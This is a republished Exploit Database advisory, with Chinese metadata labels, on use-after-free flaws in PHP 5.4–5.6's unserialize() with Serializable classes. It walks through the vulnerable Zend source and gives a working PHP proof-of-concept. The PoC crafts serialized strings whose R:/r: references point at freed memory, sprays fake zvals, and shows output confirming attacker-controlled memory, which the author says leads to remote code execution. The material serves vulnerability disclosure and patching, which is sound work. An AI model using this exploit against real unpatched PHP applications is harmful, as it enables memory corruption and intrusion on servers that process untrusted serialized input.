PHP 5.4/5.5/5.6 – ‘Unserialize()’ Use-After-Free

• Exploit Database
• 126 阅读

• 作者： Taoguang Chen
  日期： 2015-09-09
• 类别：

  • dos
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/38125/
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  Use After Free Vulnerabilities in unserialize()   Taoguang Chen <[@chtg](http://github.com/chtg)> Write Date: 2015.7.31 Release Date: 2015.9.4   Multiple use-after-free vulnerabilities were discovered in unserialize() with Serializable class that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.   Affected Versions ------------ Affected is PHP 5.6 < 5.6.12 Affected is PHP 5.5 < 5.5.28 Affected is PHP 5.4 < 5.4.44   Credits ------------ This vulnerability was disclosed by Taoguang Chen.   Description ------------   if (ce->unserialize == NULL) { zend_error(E_WARNING, "Class %s has no unserializer", ZSTR_VAL(ce->name)); object_init_ex(rval, ce); } else if (ce->unserialize(rval, ce, (const unsigned char*)*p, datalen, (zend_unserialize_data *)var_hash) != SUCCESS) { return 0; }   (*p) += datalen;   return finish_nested_data(UNSERIALIZE_PASSTHRU);     The unserialize() with Serializable class lead to various problems.   i) Free the memory via crafted Serializable class     <?php   class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); $this->data = 1; } }   ?>     ii) Free the memory via the process_nested_data() with a invalid serialized string     static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long elements, int objprops) { while (elements-- > 0) { zval *key, *data, **old_data;   ...   ALLOC_INIT_ZVAL(data);   if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) { zval_dtor(key); FREE_ZVAL(key); zval_dtor(data); FREE_ZVAL(data);<===free the memory return 0; }     iii) Free the memory via the var_push_dtor_no_addref() with the var_destroy().     PHPAPI void var_destroy(php_unserialize_data_t *var_hashx) {   ...   while (var_hash) { for (i = 0; i < var_hash->used_slots; i++) { zval_ptr_dtor(&var_hash->data[i]);<===free the memory }   ...   PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER) {   ...   if (*rval != NULL) { var_push_dtor_no_addref(var_hash, rval); } *rval = *rval_ref;     We can create ZVAL and free it via Serializable::unserialize. However the unserialize() will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely.   Proof of Concept Exploit ------------ The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.     <?php   $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00";   // i) //$inner = &apos;a:1:{i:0;i:1;}&apos;; //$exploit = &apos;a:2:{i:0;C:3:"obj":&apos;.strlen($inner).&apos;:{&apos;.$inner.&apos;}i:1;R:3;}&apos;; // ii) $inner = &apos;a:2:{i:0;i:1;i:1;i:2&apos;; $exploit = &apos;a:2:{i:0;C:3:"obj":&apos;.strlen($inner).&apos;:{&apos;.$inner.&apos;}i:1;R:5;}&apos;; // iii) //$inner = &apos;r:1;&apos;; //$exploit = &apos;a:1:{i:0;C:3:"obj":&apos;.strlen($inner).&apos;:{&apos;.$inner.&apos;}}&apos;;   $data = unserialize($exploit);   for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; }   var_dump($data);   function ptr2str($ptr) { $out = ""; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }   class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); //i) //$this->data = &apos;1&apos;; } }   ?>     Test the PoC on the command line:     $ php uafpoc.php array(2) { [0]=> object(obj)#1 (1) { ["data"]=> bool(false) } [1]=> int(1122334455)<===so we can control the memory and create fake ZVAL :) }